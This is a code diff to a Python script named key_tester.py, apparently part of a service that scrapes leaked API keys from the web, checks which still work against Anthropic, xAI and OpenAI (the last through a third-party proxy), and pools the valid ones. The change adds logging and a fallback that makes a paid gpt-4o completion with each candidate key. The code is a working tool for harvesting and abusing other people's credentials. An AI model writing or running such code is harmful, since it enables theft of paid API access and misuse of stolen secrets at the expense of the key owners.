Add debug logging + fallback to /chat/completions for key verification

key_tester.py

@@ -1,5 +1,5 @@
 #!/usr/bin/env python3
-"""key_tester.py – yt-keys HF Space (v3.0 – premium model version)"""
+"""key_tester.py — yt-keys HF Space (v3.1 + debug)"""
 import json, os, re, time, math, urllib.request, urllib.error, ssl
 from pathlib import Path
 
@@ -173,7 +173,12 @@ def scrape_web_endpoints():
         time.sleep(0.5)
     return keys
 
+# ------------------------------------------------------------
+# FIXED test_key with debug logging and fallback endpoint
+# ------------------------------------------------------------
 def test_key(key, provider):
+    """Return True/False/None, with detailed logging."""
+    # Determine primary URL
     if provider == "anthropic":
         url = "https://api.anthropic.com/v1/models"
         headers = {"x-api-key": key, "anthropic-version": "2023-06-01"}
@@ -187,15 +192,48 @@ def test_key(key, provider):
         url = "https://api.x.ai/v1/models"
         headers = {"Authorization": f"Bearer {key}"}
     else:
+        # openai / others — use proxy
         url = f"{PRIMARY_PROXY}/models"
         headers = {"Authorization": f"Bearer {key}"}
+
     try:
         req = urllib.request.Request(url, headers=headers)
         with urllib.request.urlopen(req, timeout=10, context=ctx) as r:
             return r.status == 200
     except urllib.error.HTTPError as e:
-        return None if e.code == 429 else False
-    except: return None
+        if e.code == 429:
+            log(f"    DEBUG 429 on {url}")
+            return None
+        # If /models returns 401, try /chat/completions as fallback for proxy keys
+        if provider in ("openai", "others"):
+            fallback_url = f"{PRIMARY_PROXY}/chat/completions"
+            payload = json.dumps({
+                "model": "gpt-4o",
+                "messages": [{"role": "user", "content": "hi"}],
+                "max_tokens": 5
+            }).encode()
+            fallback_headers = {
+                "Content-Type": "application/json",
+                "Authorization": f"Bearer {key}"
+            }
+            try:
+                req2 = urllib.request.Request(fallback_url, data=payload, headers=fallback_headers)
+                with urllib.request.urlopen(req2, timeout=10, context=ctx) as r2:
+                    log(f"    FALLBACK success on /chat/completions")
+                    return True
+            except urllib.error.HTTPError as e2:
+                if e2.code == 429:
+                    return None
+                log(f"    DEBUG {e.code} on {url} (fallback also failed {e2.code})")
+                return False
+            except Exception as e2:
+                log(f"    DEBUG network error on fallback: {e2}")
+                return None
+        log(f"    DEBUG {e.code} on {url}")
+        return False
+    except Exception as e:
+        log(f"    DEBUG network error on {url}: {e}")
+        return None
 
 def upload_pool(verified):
     ordered = {p: verified.get(p, []) for p in PROVIDER_PRIORITY}
@@ -272,7 +310,7 @@ def run_cycle():
             return
 
 def main():
-    log("yt-keys Key Tester v3.0 — starting")
+    log("yt-keys Key Tester v3.1 — debug mode")
     log(f"Primary proxy: {PRIMARY_PROXY}")
     log(f"Cycle interval: {SCRAPE_INTERVAL}s | Max tests/cycle: {MAX_TESTS_PER_CYCLE}")
     while True: